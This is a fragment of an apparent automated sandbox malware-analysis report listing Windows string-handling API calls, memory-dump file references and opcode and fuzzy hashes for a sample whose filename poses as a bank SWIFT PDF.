                                                                                                            • lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
                                                                                                            • lstrcmpiA.KERNEL32(00405CF5,00000000), ref: 00405AE3
                                                                                                            • CharNextA.USER32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AF4
                                                                                                            • lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271532185.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                            • Associated: 00000004.00000002.3271515978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271547644.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271562773.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            • Associated: 00000004.00000002.3271586166.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_400000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: lstrlen$CharNextlstrcmpi
                                                                                                            • String ID:
                                                                                                            • API String ID: 190613189-0
                                                                                                            • Opcode ID: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
                                                                                                            • Instruction ID: dad0a046b028959ebe33103b56e1cab2fddac0818810981e259aca52f0e6fc56
                                                                                                            • Opcode Fuzzy Hash: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
                                                                                                            • Instruction Fuzzy Hash: 59F06232608558BFC712DFA5DD40D9FBBA8DF06260B2540B6F801F7251D674FE019BA9